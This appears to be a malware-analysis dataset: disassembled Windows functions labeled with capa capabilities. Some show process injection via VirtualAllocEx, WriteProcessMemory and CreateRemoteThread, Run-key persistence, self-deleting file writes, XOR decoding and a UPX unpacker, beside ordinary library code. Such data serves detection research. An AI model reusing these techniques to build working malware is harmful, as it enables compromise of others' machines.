joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1809cca5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x180f51f0]
jne 0x1809ccaf
repz ret
jmp fcn.180a0e8c

Function at 0x180aafee
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.180a1031
and dword [ebp - 4], 0
cmp dword [0x180fac3c], 0
mov ebx, eax
jne 0x180ab09f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x180ab150
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x180ab150
push eax
call fcn.180a0fbf
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x180fac3c], eax
call esi
push eax
call fcn.180a0fbf
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x180fac40], eax
call esi
push eax
call fcn.180a0fbf
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x180fac44], eax
call esi
push eax
call fcn.180a0fbf
pop ecx
mov dword [0x180fac4c], eax
test eax, eax
je 0x180ab09f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.180a0fbf
pop ecx
mov dword [0x180fac48], eax
mov eax, dword [0x180fac48]
cmp eax, ebx
je 0x180ab0f7
cmp dword [0x180fac4c], ebx
je 0x180ab0f7
push eax
call fcn.180a103a
push dword [0x180fac4c]
mov esi, eax
call fcn.180a103a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x180ab0f7
test edi, edi
je 0x180ab0f7
call esi
test eax, eax
je 0x180ab0ee
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x180ab0ee
test byte [ebp - 0xc], 1
jne 0x180ab0f7
or dword [ebp + 0x10], 0x200000
jmp 0x180ab130
mov eax, dword [0x180fac40]
cmp eax, ebx
je 0x180ab130
push eax
call fcn.180a103a
pop ecx
test eax, eax
je 0x180ab130
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x180ab130
mov eax, dword [0x180fac44]
cmp eax, ebx
je 0x180ab130
push eax
call fcn.180a103a
pop ecx
test eax, eax
je 0x180ab130
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x180fac3c]
call fcn.180a103a
pop ecx
test eax, eax
je 0x180ab150
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x180ab152
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x180b4999
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x180fae18], 0
push esi
jne 0x180b490c
call fcn.180b4832
test eax, eax
je 0x180b494f
mov eax, dword [0x180fae18]
cmp eax, 1
jne 0x180b492d
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x180b494f
pop esi
ret
push eax
call dword [0x180fae20]
test eax, eax
jne 0x180b4997
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x180b4953
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x180fae18]
call dword [0x180fae20]
mov edi, eax
test edi, edi
je 0x180b4978
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180b4994
mov edi, esi
add esi, 0xff0
push edi
push dword [0x180fae18]
call dword [0x180fae1c]
add edi, 0x10
cmp edi, esi
jb 0x180b4980
mov eax, edi
pop edi
pop esi
ret
jmp 0x180b48f9
Function at 0x432006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..reloc
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x6fcc4011
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x81b1036
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x523008], 0x8088405
inc edx
mov dword [ebx + 0x523008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41ce78
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cea9
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41ce91
add dl, dl
jne 0x41ceb4
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf05
xor eax, eax
add dl, dl
jne 0x41cec1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cfa2
add dl, dl
jne 0x41ced0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cedb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cee6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cef1
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cefb
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cea0
mov eax, 1
add dl, dl
jne 0x41cf13
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf1e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf0a
sub eax, ebx
mov ebx, 1
jne 0x41cf51
mov ecx, 1
add dl, dl
jne 0x41cf37
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cf42
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf2e
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cea0
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cf68
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cf73
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf5f
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cea0
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41cfc3
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cea0
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41e6ac
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x509b6b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e75d
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e746
test esi, esi
jbe 0x41e75d
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088ec
test eax, eax
jne 0x41e738
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e75d
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e715
jmp 0x41e75d
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e75d
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x509b72
ret
Function at 0x41f044
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x50a5f3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41f07f
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41f098
lea eax, [ebp - 0x10]
mov edx, dword [0x52530c]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41f0ab
lea eax, [ebp - 0x10]
mov edx, dword [0x52530c]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41f0b7
adc edx, 0
mov edx, dword [edx*4 + 0x524154]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x41f1c5
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f1b8
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41f1b8
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f1b8
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41f1b8
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41f1b8
cmp dx, 0x150
ja 0x41f1b8
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f1b8
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41f1b8
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41f1dd
inc ebx
cmp ebx, 0x19
jne 0x41f071
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50a5fa
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x401460
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4015c0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4014db
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x4015c1
mov dword [ebp - 0x4b], 0x7373654d
mov dword [ebp - 0x47], 0x42656761
mov dword [ebp - 0x43], 0x2841786f
mov dword [ebp - 0x3f], 0x27202c30
mov dword [ebp - 0x3b], 0x6b636148
mov dword [ebp - 0x37], 0x62206465
mov dword [ebp - 0x33], 0x69562079
mov dword [ebp - 0x2f], 0x27737572
mov dword [ebp - 0x2b], 0x4d27202c
mov dword [ebp - 0x27], 0x61776c61
mov dword [ebp - 0x23], 0x41206572
mov dword [ebp - 0x1f], 0x7472656c
mov dword [ebp - 0x1b], 0x4d202c27
mov dword [ebp - 0x17], 0x4b4f5f42
mov word [ebp - 0x13], 0x3b29
mov byte [ebp - 0x11], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x3b
lea eax, [ebp - 0x4b]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateRemoteThread
sub esp, 0x1c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x4015c1
nop
leave
ret

Function at 0x4015c3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.C:WindowsSystem32calc.exe
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
test eax, eax
je 0x40168e
mov dword [esp], str.Remote_process_created__potential_RAT_
call sub.msvcrt.dll_puts
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call fcn.00401460
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
nop
leave
ret
Function at 0x401691
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20006
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40171e
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], 0x22
mov dword [esp + 0x10], str.C:WindowsSystem32malicious.exe
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MaliciousApp
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [esp], str.Registry_key_added_for_persistence
call sub.msvcrt.dll_puts
nop
leave
ret

Function at 0x40182e
Capabilities:
Execute command
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
jmp 0x4018b7
mov dword [esp + 4], 0x406348
mov dword [esp], str.C:WindowsSystem32malicious_file.txt
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40189b
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1a
mov dword [esp + 4], 1
mov dword [esp], str.This_is_a_malicious_file__n
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Malicious_file_created__d_n
call sub.msvcrt.dll_printf
mov dword [esp], str.del_C:WindowsSystem32malicious_file.txt
call sub.msvcrt.dll_system
mov dword [esp], str.File_deletion_simulated
call sub.msvcrt.dll_puts
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 9
jle 0x40183d
nop
leave
ret
Function at 0x41077b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410a21
push 0x4107a9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffa8
add ebx, eax
mov eax, 0x2fc700
sub esi, 0xb
mov edx, 0x29
sub ebx, edi
add edx, 0x20
mov edi, ebx
mov edi, ebx
lea edi, [eax]
mov edi, 0x41354c
mov ecx, edi
mov edi, esi
mov esi, edi
mov ebx, eax
mov ebx, eax
sub esi, edi
add esi, esi
mov edi, 0x638
add ebx, 8
sub edi, 0x28
xor eax, eax
add dword [ecx], edi
mov ebx, 0x4137a0
add esi, dword [ebx]
sub ebx, 0x427b45
mov edi, 0x11f
mov ebx, edi
sub dword [ecx], ebx
lea esi, [eax]
sub ecx, 0x20
sub edi, 0x1ccf3a
add ecx, 0x24
sub esi, eax
sub esi, ebx
push edx
push ecx
sub ebx, edi
sub ebx, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
sub esi, eax
sub ebx, edi
pop ecx
pop edx
sub esi, ebx
add edi, ebx
mov eax, 0x413918
push eax
sub edi, 0xe5
mov eax, dword [esp]
pop esi
add ebx, 0x81
sub edi, edi
cmp ecx, eax
jne 0x4107c2
add esi, esi
add ebx, esi
dec edx
lea edi, [edi]
push edx
add eax, esi
sub edi, eax
inc edi
and edi, 0x2e473d
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor edi, edi
pop edx
sub esi, 0x2f981f31
shl ebx, 0xa8
add ebx, 3
mov ebx, 0
cmp bx, dx
jne 0x4107b3
mov eax, dword [0x413574]
add ebx, edi
mov esi, dword [0x413574]
cmp eax, esi
jne 0x410867
shl edi, 0x3b
add eax, ebx
push esi
mov dword [esp], 0x333fd
lea edi, [ebx]
sub esi, edi
mov edx, dword [esp]
pop ebx
mov esi, edi
shr eax, 0xa5
push edx
imul ebx, eax, 0x71
add ebx, 0x45914c
mov ebx, esi
sub edi, 0x37467
call dword [sym.imp.KERNEL32.dll_GetVersion]
sub ebx, 0x16604cc1
sub ebx, edi
pop edx
ror eax, 0xb1
cmp edi, 0x13e4a8
jb 0x4108c0
sub eax, ebx
sub esi, edi
push esi
mov dword [esp], 0x41354c
imul edi, ebx, 0x35076b
mov ecx, dword [esp]
pop ebx
mov esi, ebx
add esi, edi
add ebx, edi
xor ebx, ebx
mov eax, 0x413691
mov esi, dword [eax + 5]
or edi, 0xe8
mov esi, 0x81
sub eax, eax
add esi, 0x205
add edi, ebx
sub dword [ecx], esi
test eax, 0x13b7a770
jg 0x410907
xor eax, eax
add eax, 4
mov eax, 0x777
add esi, 0xb
add dword [ecx], eax
mov esi, 0x7631cc64
sub ecx, 8
add ecx, 0xc
sub edi, 0x27
mov esi, 0x2f0b7e17
cmp esi, 0x418be4
je 0x41091f
mov edi, 0x413918
mov ebx, esi
cmp ecx, edi
jne 0x4108d8
sub esi, 4
add esi, eax
dec edx
sub ebx, 3
mov eax, 0xad
cmp eax, 0xad
jne 0x410940
shr eax, 0x55
push edx
sub edi, eax
mov eax, 0x34
sub edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, ebx
mov ebx, 0x2b1ff6
mov edi, esi
mov esi, eax
sub ebx, 0x16388c
add esi, 0x3eec9dd9
shr esi, 0x85
cmp ebx, 0x14e76a
jne 0x410962
sub edi, ebx
pop edx
sub ebx, 0xa
add ebx, eax
xor eax, eax
add ebx, 9
cmp edx, eax
jne 0x41088d
shl eax, 0xd9
sub edi, 0xd59c2b38
mov esi, 0x41354c
sub ecx, edi
push esi
sub edx, 0xc50caa19
add edx, esi
mov edi, 0x69f493e9
sub ecx, ecx
mov ecx, esi
cmp edi, 0x6f511ea2
je 0x4109ae
sub edi, 0
sub esi, edx
sub edi, 7
ret
Function at 0x1894f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x644000]
push edi
or ebp, 0xffffffff
jmp 0x1894f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1894f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1894f38
mov eax, 1
add ebx, ebx
jne 0x1894f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1894f6c
jne 0x1894f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1894f8b
dec eax
add ebx, ebx
jne 0x1894f78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1894f50
add ebx, ebx
jne 0x1894f87
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1894fdd
xor ecx, ecx
sub eax, 3
jb 0x1894fa3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1895012
sar eax, 1
mov ebp, eax
jmp 0x1894fae
add ebx, ebx
jne 0x1894fae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1894f7c
inc ecx
add ebx, ebx
jne 0x1894fbc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1894f7c
add ebx, ebx
jne 0x1894fc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1894fbe
jne 0x1894fda
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1894fbe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1894ffc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1894fee
jmp 0x1894f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1894ffc
add edi, ecx
jmp 0x1894f3e
pop esi
mov edi, esi
mov ecx, 0x232f8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x189501a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x189501f
lea edi, [esi + 0x990000]
mov eax, dword [edi]
or eax, eax
je 0x1895087
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa11998]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa11ad8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1895045
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa11adc]
or eax, eax
je 0x1895081
mov dword [ebx], eax
add ebx, 4
jmp 0x1895062
call dword [esi + 0xa11aec]
mov ebp, dword [esi + 0xa11ae0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x18950bb
sub esp, 0xffffff80
jmp 0x12fd45c
Function at 0x402e40
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
push ebp
push ebx
test eax, eax
je 0x403360
test edx, edx
je 0x403360
call fcn.00402e57
mov eax, 0xffffffff
pop ebx
pop ebp
ret

Function at 0x406b40
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
call fcn.00406b49

Function at 0x42da00
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x21c
mov edi, edx
mov ebx, ecx
mov eax, dword [0x58a014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x571d70
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x42da9b
mov esi, eax
xor eax, eax
mov edi, ebx
lea ebx, [ebp - 0x21c]
mov dword [ebx], eax
mov ecx, esi
call dword [section..00cfg]
push ebx
xor eax, eax
push eax
push eax
push edi
call esi
test eax, eax
jns 0x42da76
cmp byte [ebp + 0xc], 0
je 0x42da76
mov ecx, esi
call dword [section..00cfg]
lea eax, [ebp - 0x21c]
push eax
push 0
push 0x8800
push edi
call esi
test eax, eax
setns bl
jns 0x42db40
mov eax, dword [ebp - 0x21c]
test eax, eax
je 0x42db29
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x42db29
lea esi, [ebp - 0x216]
push 0x206
push 0xff
push esi
call fcn.004bd870
add esp, 0xc
mov word [esi - 2], 0
lea esi, [ebp - 0x218]
xor eax, eax
push esi
push eax
push eax
push edi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ebx, eax
test eax, eax
jns 0x42daf6
cmp ebx, 0x80070057
je 0x42daf6
cmp byte [ebp + 0xc], 0
je 0x42daf6
or edi, 0xa000
xor eax, eax
push esi
push eax
push eax
push edi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ebx, eax
test ebx, ebx
js 0x42db24
push esi
call fcn.004d43b4
add esp, 4
mov edx, esi
lea esi, [ebp - 0x228]
mov ecx, esi
push eax
push edx
call fcn.00494380
mov ecx, dword [ebp + 8]
push esi
call fcn.0043d6e0
mov ecx, esi
call fcn.004944b0
test ebx, ebx
setns bl
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004babe3
mov eax, ebx
add esp, 0x21c
pop esi
pop edi
pop ebx
pop ebp
ret
lea esi, [ebp - 0x228]
mov ecx, esi
push dword [ebp - 0x21c]
call fcn.004e8ff0
movzx eax, byte [esi + 0xb]
test al, al
jns 0x42db69
mov esi, dword [ebp - 0x228]
mov eax, dword [ebp - 0x224]
jmp 0x42db6c
and eax, 0x7f
lea edi, [ebp - 0x218]
mov ecx, edi
push eax
push esi
call fcn.00494380
mov ecx, dword [ebp + 8]
push edi
call fcn.0043d6e0
mov ecx, edi
call fcn.004944b0
cmp byte [ebp - 0x21d], 0
jns 0x42da81
push dword [ebp - 0x228]
call fcn.004ba1ee
add esp, 4
jmp 0x42da81
Function at 0x42f750
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20c
mov eax, dword [0x58a014]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea esi, [ebp - 0x218]
mov dword [esi], 0x101
lea ebx, [ebp - 0x212]
push 0x202
push 0xff
push ebx
call fcn.004bd870
add esp, 0xc
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov esi, eax
test eax, eax
jne 0x42f7b5
test esi, esi
setne bl
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004babe3
mov eax, ebx
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [ebp + 8]
push ebx
call fcn.004d43b4
add esp, 4
mov ecx, edi
push eax
push ebx
call fcn.00439700
